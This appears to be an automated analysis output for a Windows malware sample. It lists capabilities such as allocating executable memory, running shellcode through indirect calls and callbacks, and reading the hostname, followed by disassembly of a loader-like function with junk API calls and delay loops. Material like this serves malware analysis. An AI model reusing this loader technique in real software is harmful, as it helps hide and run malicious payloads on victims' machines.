Function at 0x401560
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x42a2f8
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x423728
push eax
mov dword fs:[0], esp
sub esp, 0x90c
cmp dword [0x848520], 0x5b1
push ebx
push esi
push edi
jne 0x401637
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [ebp - 0x14]
push ecx
push 0
push str.xiciv_luriyolonutehikepobojegapa_lovazovareputedutejahoju
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x3c]
call fcn.00401bd0
push 0
mov dword [ebp - 4], 0
call fcn.00403975
push 0
push 0
call fcn.004037c9
add esp, 0xc
jmp 0x401550
mov eax, dword [0x848520]
mov ecx, dword [0x429370]
add eax, 0x1134b
push eax
push 0
mov dword [0x848524], ecx
mov dword [0x848520], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x848520]
lea edx, [ebp - 0x18]
push edx
push 0x40
push ecx
push eax
mov dword [0x847474], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
lea esp, [esp]
cmp esi, 0x2710
jge 0x401693
lea edx, [ebp - 0x518]
push edx
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401680
mov ecx, dword [0x848520]
xor esi, esi
test ecx, ecx
jbe 0x4016fd
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [0x848524]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x847474]
mov byte [edx + esi], cl
mov ecx, dword [0x848520]
cmp ecx, 0xa8
jne 0x4016f8
push 0
lea eax, [ebp - 0x10]
push eax
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [ebp - 0x118]
push ecx
call ebx
mov ecx, dword [0x848520]
inc esi
cmp esi, ecx
jb 0x4016b4
xor eax, eax
nop
lea edx, [ecx + eax]
cmp edx, 0xe
je 0x4017ae
inc eax
cmp eax, 0x39621
jl 0x401700
call fcn.00401470
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x40172d
call fcn.00401530
inc esi
cmp esi, 0x6753f
jl 0x401721
mov esi, dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov ebx, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x10], 0x7b
nop
cmp dword [0x848520], 0x86
jne 0x40178c
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x918]
push edx
push str.jihuxajazacixusuzosi
call esi
push 0
push str.sewawuwuwezurubiyekubalito_xun
push str.yonatajulemeyoboyawugihilifavahe_saligikixerey
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub dword [ebp - 0x10], 1
jne 0x401750
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]